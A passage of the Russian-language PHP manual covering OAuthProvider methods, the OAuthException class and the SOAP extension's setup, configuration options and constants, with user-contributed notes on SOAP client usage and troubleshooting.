$provider->consumer_secret = "the_consumers_secret";

return OAUTH_OK;
}
?>

Смотрите также

  • OAuthProvider::callConsumerHandler() - Вызвать callback-функцию consumerNonceHandler

User Contributed Notes

There are no user contributed notes for this page.


Генерация случайного токена

  • « OAuthProvider::consumerHandler
  • OAuthProvider::is2LeggedEndpoint »
  • PHP Manual
  • OAuthProvider
  • Генерация случайного токена

OAuthProvider::generateToken

(PECL OAuth >= 1.0.0)

OAuthProvider::generateToken — Генерация случайного токена

Описание

final public static OAuthProvider::generateToken(int $size, bool $strong = false): string

Генерирует строку псевдо-случайных байт.

Список параметров

size

Длина токена в байтах.

strong

Установка в true приведёт к использованию /dev/random, в противном случае будет использован неблокирующий /dev/urandom. В Windows данный параметр будет проигнорирован.

Возвращаемые значения

Сгенерированный токен в виде строки байт.

Ошибки

Если параметр strong задан как true, то будет выдана ошибка уровня E_WARNING, в случае, если для заполнения оставшихся случайных байт (например, если было найдено недостаточно случайных данных) будет использована старая реализация rand()

Примеры

Пример #1 Пример использования OAuthProvider::generateToken()

<?php
$p = new OAuthProvider();

$t = $p->generateToken(4);

echo strlen($t), PHP_EOL;
echo bin2hex($t), PHP_EOL;

?>

Вывод приведённого примера будет похож на:

4
b6a82c27

Примечания

Замечание:

Если в системе недостаточно случайных данных, то для генерации недостающих байт эта функция будет использовать обычную функцию rand().

Смотрите также

  • openssl_random_pseudo_bytes() - Генерирует псевдослучайную последовательность байт
  • mcrypt_create_iv() - Создаёт инициализирующий вектор (Initialization Vector или IV) из случайного источника

User Contributed Notes

carlosouza at me dot com 28-Mar-2012 02:32
Be careful when setting the 'strong' parameter to true.

If you system doesn't have enough entropy your script will block which can cause timeouts in other parts of your code.

In my case, the most serious symptom was my script blocking when trying to read from /dev/random and causing a 'MySQL has gone away' error.

Hopefully this saves someone the trouble when deciding to use /dev/random entropy


is2LeggedEndpoint

  • « OAuthProvider::generateToken
  • OAuthProvider::isRequestTokenEndpoint »
  • PHP Manual
  • OAuthProvider
  • is2LeggedEndpoint

OAuthProvider::is2LeggedEndpoint

(PECL OAuth >= 1.0.0)

OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint

Описание

public OAuthProvider::is2LeggedEndpoint(mixed $params_array): void

Двухсторонний поток или запрос подписи. Не требует токена.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

params_array

Возвращаемые значения

Объект OAuthProvider.

Примеры

Пример #1 Пример использования OAuthProvider::is2LeggedEndpoint()

<?php

$provider = new OAuthProvider();

$provider->is2LeggedEndpoint(true);

?>

Смотрите также

  • OAuthProvider::__construct() - Конструктор класса OAuthProvider

User Contributed Notes

There are no user contributed notes for this page.


Установка isRequestTokenEndpoint

  • « OAuthProvider::is2LeggedEndpoint
  • OAuthProvider::removeRequiredParameter »
  • PHP Manual
  • OAuthProvider
  • Установка isRequestTokenEndpoint

OAuthProvider::isRequestTokenEndpoint

(PECL OAuth >= 1.0.0)

OAuthProvider::isRequestTokenEndpoint — Установка isRequestTokenEndpoint

Описание

public OAuthProvider::isRequestTokenEndpoint(bool $will_issue_request_token): void

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

will_issue_request_token

Устанавливает, будет ли он выдавать токен запроса, тем самым определяя, нужно ли вызывать OAuthProvider::tokenHandler().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • OAuthProvider::setRequestTokenPath() - Установить путь запроса токена
  • OAuthProvider::reportProblem() - Сообщить о проблеме

User Contributed Notes

There are no user contributed notes for this page.


Удалить требуемый параметр

  • « OAuthProvider::isRequestTokenEndpoint
  • OAuthProvider::reportProblem »
  • PHP Manual
  • OAuthProvider
  • Удалить требуемый параметр

OAuthProvider::removeRequiredParameter

(PECL OAuth >= 1.0.0)

OAuthProvider::removeRequiredParameter — Удалить требуемый параметр

Описание

final public OAuthProvider::removeRequiredParameter(string $req_params): bool

Удаляет требуемый параметр.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

req_params

Требуемый параметр для удаления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • OAuthProvider::setParam() - Установить параметр
  • OAuthProvider::addRequiredParameter() - Добавить необходимые параметры

User Contributed Notes

There are no user contributed notes for this page.


Сообщить о проблеме

  • « OAuthProvider::removeRequiredParameter
  • OAuthProvider::setParam »
  • PHP Manual
  • OAuthProvider
  • Сообщить о проблеме

OAuthProvider::reportProblem

(PECL OAuth >= 1.0.0)

OAuthProvider::reportProblem — Сообщить о проблеме

Описание

final public static OAuthProvider::reportProblem(string $oauthexception, bool $send_headers = true): string

Передать проблему в виде исключения OAuthException. Допустимые проблемы перечислены в секции константы OAuth.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

oauthexception

Объект исключения OAuthException.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • OAuthProvider::checkOAuthRequest() - Проверка запроса oauth
  • OAuthProvider::isRequestTokenEndpoint() - Установка isRequestTokenEndpoint

User Contributed Notes

There are no user contributed notes for this page.


Установить параметр

  • « OAuthProvider::reportProblem
  • OAuthProvider::setRequestTokenPath »
  • PHP Manual
  • OAuthProvider
  • Установить параметр

OAuthProvider::setParam

(PECL OAuth >= 1.0.0)

OAuthProvider::setParam — Установить параметр

Описание

final public OAuthProvider::setParam(string $param_key, mixed $param_val = ?): bool

Устанавливает параметр.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

param_key

Ключ параметра.

param_val

Необязательное значение параметра.

Для исключения параметра из процесса проверки подписи установите его в значение null.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • OAuthProvider::addRequiredParameter() - Добавить необходимые параметры

User Contributed Notes

There are no user contributed notes for this page.


Установить путь запроса токена

  • « OAuthProvider::setParam
  • OAuthProvider::timestampNonceHandler »
  • PHP Manual
  • OAuthProvider
  • Установить путь запроса токена

OAuthProvider::setRequestTokenPath

(PECL OAuth >= 1.0.0)

OAuthProvider::setRequestTokenPath — Установить путь запроса токена

Описание

final public OAuthProvider::setRequestTokenPath(string $path): bool

Устанавливает путь запроса токена.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

path

Путь.

Возвращаемые значения

true

Смотрите также

  • OAuthProvider::tokenHandler() - Установить обработчик tokenHandler

User Contributed Notes

There are no user contributed notes for this page.


Установить обработчик timestampNonceHandler

  • « OAuthProvider::setRequestTokenPath
  • OAuthProvider::tokenHandler »
  • PHP Manual
  • OAuthProvider
  • Установить обработчик timestampNonceHandler

OAuthProvider::timestampNonceHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::timestampNonceHandler — Установить обработчик timestampNonceHandler

Описание

public OAuthProvider::timestampNonceHandler(callable $callback_function): void

Устанавливает callback-функцию, используемую в OAuthProvider::callTimestampNonceHandler(). В этот обработчик будут переданы ошибки относящиеся к timestamp/nonce.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

callback_function

Функция типа callable.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования OAuthProvider::timestampNonceHandler()

<?php
function timestampNonceChecker($provider) {

if ($provider->nonce === 'bad') {
return OAUTH_BAD_NONCE;
} elseif ($provider->timestamp == '0') {
return OAUTH_BAD_TIMESTAMP;
}

return OAUTH_OK;
}
?>

Смотрите также

  • OAuthProvider::callTimestampNonceHandler() - Вызвать callback-функцию timestampNonceHandler

User Contributed Notes

There are no user contributed notes for this page.


Установить обработчик tokenHandler

  • « OAuthProvider::timestampNonceHandler
  • OAuthException »
  • PHP Manual
  • OAuthProvider
  • Установить обработчик tokenHandler

OAuthProvider::tokenHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::tokenHandler — Установить обработчик tokenHandler

Описание

public OAuthProvider::tokenHandler(callable $callback_function): void

Устанавливает callback-функцию обработчика токена, которая будет использоваться OAuthProvider::callTokenHandler().

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

callback_function

Функция типа callable.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования OAuthProvider::tokenHandler()

<?php
function tokenHandler($provider) {

if ($provider->token === 'rejected') {
return OAUTH_TOKEN_REJECTED;
} elseif ($provider->token === 'revoked') {
return OAUTH_TOKEN_REVOKED;
}

$provider->token_secret = "the_tokens_secret";
return OAUTH_OK;
}
?>

Смотрите также

  • OAuthProvider::callTokenHandler() - Вызвать callback-функцию tokenNonceHandler

User Contributed Notes

There are no user contributed notes for this page.


Класс OAuthException

(PECL OAuth >= 0.99.1)

Введение

Это исключение выбрасывается в случае возникновения ошибок при использовании модуля OAuth и содержит полезную отладочную информацию.

Обзор классов

class OAuthException extends Exception {
/* Свойства */
public $lastResponse;
public $debugInfo;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

lastResponse

Последнее исключение, если таковое имеется

debugInfo

User Contributed Notes

There are no user contributed notes for this page.


SOAP

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции SOAP
    • is_soap_fault — Проверяет, произошла ли ошибка при вызове SOAP
    • use_soap_error_handler — Установить, следует ли использовать обработчик ошибок SOAP
  • SoapClient — Класс SoapClient
    • SoapClient::__call — Вызывает SOAP-функцию (устаревший метод)
    • SoapClient::__construct — Конструктор класса SoapClient
    • SoapClient::__doRequest — Выполняет SOAP-запрос
    • SoapClient::__getCookies — Получить список cookies
    • SoapClient::__getFunctions — Возвращает список доступных SOAP-функций
    • SoapClient::__getLastRequest — Возвращает последний SOAP-запрос
    • SoapClient::__getLastRequestHeaders — Возвращает SOAP-заголовки последнего запроса
    • SoapClient::__getLastResponse — Возвращает последний SOAP-ответ
    • SoapClient::__getLastResponseHeaders — Возвращает SOAP-заголовки последнего ответа
    • SoapClient::__getTypes — Возвращает список SOAP-типов
    • SoapClient::__setCookie — Устанавливает cookie для запросов SOAP
    • SoapClient::__setLocation — Устанавливает адрес используемой веб-службы
    • SoapClient::__setSoapHeaders — Устанавливает SOAP-заголовки для последующих вызовов
    • SoapClient::__soapCall — Вызывает SOAP-функцию
  • SoapServer — Класс SoapServer
    • SoapServer::addFunction — Добавляет одну или несколько функций для обработки запросов SOAP
    • SoapServer::addSoapHeader — Добавить заголовок SOAP в ответ
    • SoapServer::__construct — Конструктор SoapServer
    • SoapServer::fault — Вынуждает SoapServer вернуть ошибку
    • SoapServer::getFunctions — Вернуть список определённых функций
    • SoapServer::handle — Обработка SOAP-запроса
    • SoapServer::setClass — Устанавливает класс, который обрабатывает SOAP-запросы
    • SoapServer::setObject — Устанавливает объект, который будет использоваться для обработки SOAP-запросов
    • SoapServer::setPersistence — Устанавливает режим сохранения SoapServer
  • SoapFault — Класс SoapFault
    • SoapFault::__construct — Конструктор SoapFault
    • SoapFault::__toString — Получить текстовое представление SoapFault
  • SoapHeader — Класс SoapHeader
    • SoapHeader::__construct — Конструктор SoapHeader
  • SoapParam — Класс SoapParam
    • SoapParam::__construct — Конструктор SoapParam
  • SoapVar — Класс SoapVar
    • SoapVar::__construct — Конструктор SoapVar

User Contributed Notes

Luke 08-Sep-2015 07:21
Was calling an asmx method like $success=$x->AuthenticateUser($userName,$password) and this was returning me an error.

However i changed it and added the userName and password in an array and its now KAWA...
spectrumcat at gmail dot com 22-Feb-2015 04:19
In case you'll get a .p12 certificate for your SOAP client to use (or any other actually) make sure to convert it to PEM and merge with the private key.

Convert p12 to PEM with merged private key:
openssl pkcs12 -in supplied_cert.p12 -out php_soap_cert.pem -clcerts

Example:
$wsdl = "./mywsdl.wsdl"; // Or "http://provider.com/api/api.wsdl"

$options = [
        'location'      => "http://provider.com/api/",
        'local_cert'    => "./php_soap_cert.pem",
        'passphrase'    => "certificate_password",
];

try {
    $soapClient = new SoapClient($wsdl, $options);
} catch(Exception $e) {
    var_dump($e);
}
rafinskipg at gmail dot com 14-May-2012 02:54
Support for MTOM addign this code to your project:

<?php
class MySoapClient extends SoapClient
{
    public function __doRequest($request, $location, $action, $version, $one_way = 0)
    {
        $response = parent::__doRequest($request, $location, $action, $version, $one_way);
        // parse $response, extract the multipart messages and so on

        //this part removes stuff
        $start=strpos($response,'<?xml');
        $end=strrpos($response,'>');
        $response_string=substr($response,$start,$end-$start+1);
        return($response_string);
    }
}

?>

Then you can do this
<?php
  new MySoapClient($wsdl_url);
?>
dennis at pleasedontspam dot clansman dot nl 02-Dec-2011 03:53
When you receive the soapfault message: "looks like we got no XML document" it might be that you're talking to a server that supports MTOM (http://www.w3.org/TR/soap12-mtom/).

MTOM is, as of yet (5.3.6), not supported by the SoapClient.
mariamr at gmail dot com 16-Oct-2010 06:38
"SOAP-ERROR: Parsing WSDL: Couldn't find in 'PATH/TO/YOUR/WSDL'"

This error occurs because some versions of PHP SOAP client  do not send the user name and password that you pass as the options input parameter of the SoapClient constructor  . Yu need to pass the credentials in the web service URL like this:
$soapClient =new SoapClient("http://user:password@example.com/blahblah.wsdl");
vishal dot thakkar at exateam dot com 22-Feb-2010 06:19
I was trying to figure out for days and days to make SOAP server return an associative array and NOT an object ....

To get an array (not object) in the SOAP response, just serialize the array before returning it to the clent..

hope it helps...
Thanks.....
Vishal Thakkar.
stephenlansell at gmail dot com 03-Feb-2010 07:19
Here is an example of a php client talking to a asmx server:

<?php

        $soapClient = new SoapClient("https://soapserver.example.com/blahblah.asmx?wsdl");

        // Prepare SoapHeader parameters
        $sh_param = array(
                    'Username'    =>    'username',
                    'Password'    =>    'password');
        $headers = new SoapHeader('http://soapserver.example.com/webservices', 'UserCredentials', $sh_param);

        // Prepare Soap Client
        $soapClient->__setSoapHeaders(array($headers));

        // Setup the RemoteFunction parameters
        $ap_param = array(
                    'amount'     =>    $irow['total_price']);

        // Call RemoteFunction ()
        $error = 0;
        try {
            $info = $soapClient->__call("RemoteFunction", array($ap_param));
        } catch (SoapFault $fault) {
            $error = 1;
            print("
            alert('Sorry, blah returned the following ERROR: ".$fault->faultcode."-".$fault->faultstring.". We will now take you back to our home page.');
            window.location = 'main.php';
            ");
        }

        if ($error == 0) {
            $auth_num = $info->RemoteFunctionResult;

            if ($auth_num < 0) {
                ....

                // Setup the OtherRemoteFunction() parameters
                $at_param = array(
                            'amount'        => $irow['total_price'],
                            'description'    => $description);

                // Call OtherRemoteFunction()
                $trans = $soapClient->__call("OtherRemoteFunction", array($at_param));
                $trans_result = $trans->OtherRemoteFunctionResult;
            ....
                } else {
                    // Record the transaction error in the database

                // Kill the link to Soap
                unset($soapClient);
            }
        }
    }
}

?>
moazzam at moazzam-khan dot com 05-Oct-2009 09:37
If anyone is trying to use this for accessing Sabre's web services, it won't work. Sabre checks the request header "Content-Type" to see if it is "text/xml" . If it is not text/xml then it sends an error back.

You will need to create a socket connection and use that to send the request over.
Raphal Gertz 18-Apr-2009 09:50
Juste a note to avoid wasting time on php-soap protocol and format support.

Until php 5.2.9 (at least) the soap extension is only capable of understanding wsdl 1.0 and 1.1 format.

The wsdl 2.0, a W3C recommendation since june 2007, ISN'T supported in php soap extension.
(the soap/php_sdl.c source code don't handle wsdl2.0 format)

The wsdl 2.0 is juste the 1.2 version renamed because it has substantial differences from WSDL 1.1.

The differences between the two format may not be invisible if you don't care a lot.

The wsdl 1.0 format structure (see http://www.w3.org/TR/wsdl) :
<definitions ...>
    <types ...>
    </types>
    <message ...>
        <part ...>
    </message>
    <portType ...>
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </portType>
    <binding ...>
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </binding>
    <service ...>
        <port ...>
    </service>
</definitions>

And the wsdl 2.0 format structure (see http://www.w3.org/TR/wsdl20/) :
<description ...>
    <types ...>
    </types>
    <interface ...>
        <fault ... />
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </interface>
    <binding ...>
        <fault ... />
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </binding>
    <service ...>
        <endpoint ...>
    </service>
</description>

The typical error message if you provide a wsdl 2.0 format file :
PHP Fatal error:  SOAP-ERROR: Parsing WSDL: Couldn't find <definitions> in 'wsdl/example.wsdl' in /path/client.php on line 9
jeff at jeffrodriguez dot com 03-Feb-2009 01:37
Named parameters are actually super easy once you know how to do it. No need to bother with SoapParam or SoapVar for the most part.

The code:
<?php
$ws->getAsset(array(
  'assetId' => 5967
));
?>

Generates the following SOAP body: (formatted for readability)
<SOAP-ENV:Body>
  <ns1:getAsset>
    <assetId>5967</assetId>
  </ns1:getAsset>
</SOAP-ENV:Body>
beau dot scott at gmail dot com 22-Oct-2008 03:34
If you've been trying to send null to a service that considers empty property tags as empty strings rather than null, here's an extending class that fixes this using xsi:nil:

<?php
class XSoapClient extends SoapClient
{
    const XSI_NS = "http://www.w3.org/2001/XMLSchema-instance";
    const _NULL_ = "xxx_replacedduetobrokephpsoapclient_xxx";

    protected $mustParseNulls = false;

    public function __doRequest($request, $location, $action, $version, $one_way = null)
    {
        if($this->mustParseNulls)
        {
            $this->mustParseNulls = false;
            $request = preg_replace('/<ns1:(\w+)>'.self::_NULL_.'<\/ns1:\\1>/',
                        '<ns1:$1 xsi:nil="true"/>',
                        $request, -1, &$count);

            if ($count > 0)
            {
                $request = preg_replace('/(<SOAP-ENV:Envelope )/',
                    '\\1 xmlns:xsi="'.self::XSI_NS.'" ',
                    $request);
            }
        }
        return parent::__doRequest($request, $location, $action, $version, $one_way);
    }

    public function __call($method, $params)
    {
        foreach($params as $k => $v)
        {
            if($v === null)
            {
                $this->mustParseNulls = true;
                $params[$k] = self::_NULL_;
            }
        }
        return parent::__call($method, $params);
    }
}
?>
Ryan 22-Oct-2008 06:21
If you are having an issue where SOAP cannot find the functions that are actually there if you view the wsdl file, it's because PHP is caching the wsdl file (for a day at a time). To turn this off, have this line on every script that uses SOAP: ini_set("soap.wsdl_cache_enabled", "0"); to disable the caching feature.
ivan dot cubillas at xeridia dot com 08-Aug-2008 01:02
The problem with the PHP WebService Client

We've a JAVA WebService Server which could have attached documents. When the PHP Client send the dates, the Server take it correctly, but when
the server return it to the PHP Client, the client reply always that is not a XML valid document.

The problem could be than the JAVA Server adds (to this type of XML binary files)  the documentType head: xml+xop and the clean doesn't understand
this head as a XML document.

There is some possibility to solve this problem in the PHP Client without doing changes in the JAVA Server?
aeg at mallxs dot nl 28-May-2008 05:19
SoapFault exception: [SOAP-ENV:Client] looks like we got no XML document

This error can have to reasons:
1: Your server script has some hidden output like spaces before or afher <?php ... ?> or echoing some text
2: You have a bug in your server script;
    resulting in a error message output

Test your server script by calling it direct  from the browser.
The result should be a clean output like :

?<SOAP-ENV:Envelope>
?<SOAP-ENV:Body>
?<SOAP-ENV:Fault>
  <faultcode>SOAP-ENV:Server</faultcode>
  <faultstring>Bad Request. Can't find HTTP_RAW_POST_DATA</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

This tell's you there was a request but without data; This is OK
Now if you get the error when calling with your soap client;
remember that your server now will call other functions in the server.php script because it now has some data to process
nodkz at mail dot ru 24-May-2008 02:25
PROBLEM (with SOAP extension under PHP5) of transferring object, that contains objects or array of objects. Nested object would not transfer.

SOLUTION:
This class was developed by trial and error by me. So this 23 lines of code for most developers writing under PHP5 solves fate of using SOAP extension.

<?php
/*
According to specific of organization process of SOAP class in PHP5, we must wrap up complex objects in SoapVar class. Otherwise objects would not be encoded properly and could not be loaded on remote SOAP handler.

Function "getAsSoap" call for encoding object for transmission. After encoding it can be properly transmitted.
*/
abstract class SOAPable {
    public function getAsSOAP() {
        foreach($this as $key=>&$value) {
            $this->prepareSOAPrecursive($this->$key);
        }
        return $this;
    }

    private function prepareSOAPrecursive(&$element) {
        if(is_array($element)) {
            foreach($element as $key=>&$val) {
                $this->prepareSOAPrecursive($val);
            }
            $element=new SoapVar($element,SOAP_ENC_ARRAY);
        }elseif(is_object($element)) {
            if($element instanceof SOAPable) {
                $element->getAsSOAP();
            }
            $element=new SoapVar($element,SOAP_ENC_OBJECT);
        }
    }
}

// ------------------------------------------
//  ABSTRACT EXAMPLE
// ------------------------------------------

class PersonList extends SOAPable {
  protected $ArrayOfPerson; // variable MUST be protected or public!
}

class Person extends SOAPable {
   //any data
}

$client=new SoapClient("test.wsdl", array( 'soap_version'=>SOAP_1_2, 'trace'=>1, 'classmap' => array('Person' => "Person", 'PersonList' => "PersonList")  ));

$PersonList=new PersonList;

// some actions

$PersonList->getAsSOAP();

$client->someMethod($PersonList);

?>

So every class, which will transfer via SOAP, must be extends from class SOAPable.
As you can see, in code above, function prepareSOAPrecursive search another nested objects in parent object or in arrays, and if does it, tries call function getAsSOAP() for preparation of nested objects, after that simply wrap up via SoapVar class.

So in code before transmitting simply call $obj->getAsSOAP()


Введение

Модуль SOAP может использоваться для написания как серверной, так и клиентской части. Он реализует спецификации » SOAP 1.1, » SOAP 1.2 и » WSDL 1.1.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для корректной работы этого модуля необходим PHP-модуль libxml. Это означает, что также необходима передача опции --with-libxml, или до PHP 7.4 --enable-libxml, хотя неявно это уже сделано, так как поддержка libxml по умолчанию включена.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для включения поддержки SOAP скомпилируйте PHP c опцией --enable-soap.

User Contributed Notes

c at cinqs dot net 16-Feb-2017 07:55
If you received a

    E: Couldn't find any package by regex 'php7.1-soap'

when using docker php:apache image

try

    apt-get install php-soap

instead
dbagnara 20-Aug-2016 10:02
for Ubuntu 16.04 LTS
sudo apt-get install php7.0-soap
sudo systemctl restart apache2.service


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки SOAP
Имя | По умолчанию | Место изменения | Список изменений
soap.wsdl_cache_enabled | 1 | INI_ALL |
soap.wsdl_cache_dir | /tmp | INI_ALL |
soap.wsdl_cache_ttl | 86400 | INI_ALL |
soap.wsdl_cache | 1 | INI_ALL |
soap.wsdl_cache_limit | 5 | INI_ALL |

Краткое разъяснение конфигурационных директив.

soap.wsdl_cache_enabled int

Включает или отключает кеширование WSDL.

soap.wsdl_cache_dir string

Устанавливает путь к директории, где модуль SOAP будет хранить кеш-файлы.

soap.wsdl_cache_ttl int

Устанавливает количество секунд (время жизни) для файлов в кеше, которое они будут использоваться вместо оригинальных файлов.

soap.wsdl_cache int

Если параметр soap.wsdl_cache_enabled принимает значение "on", то эта опция определяет тип кеширования. Он может быть любым из следующих типов: WSDL_CACHE_NONE (0), WSDL_CACHE_DISK (1), WSDL_CACHE_MEMORY (2) или WSDL_CACHE_BOTH (3). Это также может быть установлено через массив options в конструкторе SoapClient или SoapServer.

soap.wsdl_cache_limit int

Максимальное количество находящихся в оперативной памяти кешированных файлов WSDL. Дальнейшее добавление файлов в заполненную кеш-память будет приводить к удалению из неё самых старых файлов.

User Contributed Notes

michal-ok at o2 dot pl 06-Mar-2020 03:08
Be aware that wsdl cache may not be compatible across different PHP versions, which may be important to know when you upgrade your PHP on the same system or use a multi-PHP version setup where you run the same scripts from different PHP versions. In other words, when a SOAP request writes a file to the cache and then you make another SOAP request from another PHP version and this cache file is used then *sometimes* you may experience unexpected errors that you will not know where they come from.

I spent hours trying to figure out why I was getting "Encoding: Violation of encoding rules" errors every time I ran some of my SOAP scripts from PHP 7.3 just hours after switching from PHP 7.2. It turned out I needed to clear all cached wsdl files created by PHP 7.2. Downgrading from 7.3 to 7.2 caused the same errors and required clearing the cache, too.

When transitioning to a new PHP version you may turn off the cache or set a very short wsdl_cache_ttl period - if you can't delete the files yourself. If you need your scripts to run on multiple PHP versions with wsdl cache then you'd need to set wsdl_cache_dir that is different for each PHP version.
no dot tehwan dot spam at com dot nospam dot gmail 20-Aug-2014 08:05
Keep in mind if you have memory cache enabled that even if you use an updated WSDL file, it will still be using the one in memory. If you download the WSDL files yourself, avoid using memory cache as you will have no control over it, or set the TTL to a small value (default is 1 day).
martijn at netexpo dot nl 19-Oct-2012 01:37
Please note that these three ini settings will also affect the behaviour of your soap server (and clients as well) :

1. default_socket_timeout default 60 secs
Large or slow requests to your soap server or long processes at your soap server will return soap fault after 60 secs like : Error Fetching http headers.

2. max_execution_time default 30 secs
This can be the next bottleneck (but only when your default_socket_timeout is larger then this setting). Your soap server will not return anything, no faults no output, just an empty string.

3. memory_limit default 128M
Will throw fatal errors when the soap server script itself has low memory or will let your services return empty strings when the data it processes puts memory usage over this limit.

Other max POST settings luckily (but a bit suprisingly to me) have _no_ effect for your soap server. Those are :

max_input_time
max_input_nesting_level
max_input_vars
post_max_size
suhosin.post.max_array_depth
suhosin.post.max_array_index_length
suhosin.post.max_name_length
suhosin.post.max_totalname_length
suhosin.post.max_vars
suhosin.post.max_value_length
hpralow at users dot sf dot net 24-Jul-2008 07:40
If you want to dissable WSDL-caching, you can do so with
<?php
ini_set('soap.wsdl_cache_enabled', '0');
ini_set('soap.wsdl_cache_ttl', '0');
?>
However you must do this before creating a SOAP object (soap_client or soap_server).
Changing the settings like above does not have any effect on already existing soap-objects.

[EDIT BY danbrown AT php DOT net: Typofix provided by (james AT voodoo DOT co DOT uk) on 4-FEB-09.]


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

Константы SOAP
Константа | Значение | Описание
SOAP_1_1 (int) | 1 | Определяет использование SOAP 1.1 при передаче в качестве параметра soap_version методу SoapServer::__construct() или SoapClient::__construct().
SOAP_1_2 (int) | 2 | Определяет использование SOAP 1.2 при передаче в качестве параметра soap_version методу SoapServer::__construct() или SoapClient::__construct().
SOAP_PERSISTENCE_SESSION (int) | 1 |
SOAP_PERSISTENCE_REQUEST (int) | 2 |
SOAP_FUNCTIONS_ALL (int) | 999 |
SOAP_ENCODED (int) | 1 | Определяет использование кодировки SOAP при передаче в качестве параметра use методу SoapClient::__construct().
SOAP_LITERAL (int) | 2 | Определяет использование специфической для сервиса кодировки при передаче в качестве параметра use методу SoapClient::__construct().
SOAP_RPC (int) | 1 | Определяет использование привязки в стиле RPC при передаче в качестве параметра style методу SoapClient::__construct().
SOAP_DOCUMENT (int) | 2 | Определяет использование привязки к документу при передаче в качестве параметра style методу SoapClient::__construct().
SOAP_ACTOR_NEXT (int) | 1 |
SOAP_ACTOR_NONE (int) | 2 |
SOAP_ACTOR_UNLIMATERECEIVER (int) | 3 |
SOAP_COMPRESSION_ACCEPT (int) | 32 | Определяет использование заголовка "Accept-Encoding" при передаче параметра compression методу SoapClient::__construct().
SOAP_COMPRESSION_GZIP (int) | 0 | Определяет использование сжатия gzip при передаче параметра compression методу SoapClient::__construct().
SOAP_COMPRESSION_DEFLATE (int) | 16 | Определяет использование сжатия deflate при передаче параметра compression методу SoapClient::__construct().
SOAP_AUTHENTICATION_BASIC (int) | 0 | Определяет использование базовой аутентификации HTTP при передаче параметра authentication методу SoapClient::__construct().
SOAP_AUTHENTICATION_DIGEST (int) | 1 | Определяет использование аутентификации HTTP Digest Authentication при передаче параметра authentication методу SoapClient::__construct().
SOAP_SSL_METHOD_TLS (int) | 0 | Используется с устаревшим параметром ssl_method метода SoapClient::__construct().
SOAP_SSL_METHOD_SSLv2 (int) | 1 | Используется с устаревшим параметром ssl_method метода SoapClient::__construct().
SOAP_SSL_METHOD_SSLv3 (int) | 2 | Используется с устаревшим параметром ssl_method метода SoapClient::__construct().
SOAP_SSL_METHOD_SSLv23 (int) | 3 | Используется с устаревшим параметром ssl_method метода SoapClient::__construct().
UNKNOWN_TYPE (int) | 999998 |
XSD_STRING (int) | 101 |
XSD_BOOLEAN (int) | 102 |
XSD_DECIMAL (int) | 103 |
XSD_FLOAT (int) | 104 |
XSD_DOUBLE (int) | 105 |
XSD_DURATION (int) | 106 |
XSD_DATETIME (int) | 107 |
XSD_TIME (int) | 108 |
XSD_DATE (int) | 109 |
XSD_GYEARMONTH (int) | 110 |
XSD_GYEAR (int) | 111 |
XSD_GMONTHDAY (int) | 112 |
XSD_GDAY (int) | 113 |
XSD_GMONTH (int) | 114 |
XSD_HEXBINARY (int) | 115 |
XSD_BASE64BINARY (int) | 116 |
XSD_ANYURI (int) | 117 |
XSD_QNAME (int) | 118 |
XSD_NOTATION (int) | 119 |
XSD_NORMALIZEDSTRING (int) | 120 |
XSD_TOKEN (int) | 121 |
XSD_LANGUAGE (int) | 122 |
XSD_NMTOKEN (int) | 123 |
XSD_NAME (int) | 124 |
XSD_NCNAME (int) | 125 |
XSD_ID (int) | 126 |
XSD_IDREF (int) | 127 |
XSD_IDREFS (int) | 128 |
XSD_ENTITY (int) | 129 |
XSD_ENTITIES (int) | 130 |
XSD_INTEGER (int) | 131 |
XSD_NONPOSITIVEINTEGER (int) | 132 |
XSD_NEGATIVEINTEGER (int) | 133 |
XSD_LONG (int) | 134 |
XSD_INT (int) | 135 |
XSD_SHORT (int) | 136 |
XSD_BYTE (int) | 137 |
XSD_NONNEGATIVEINTEGER (int) | 138 |
XSD_UNSIGNEDLONG (int) | 139 |
XSD_UNSIGNEDINT (int) | 140 |
XSD_UNSIGNEDSHORT (int) | 141 |
XSD_UNSIGNEDBYTE (int) | 142 |
XSD_POSITIVEINTEGER (int) | 143 |
XSD_NMTOKENS (int) | 144 |
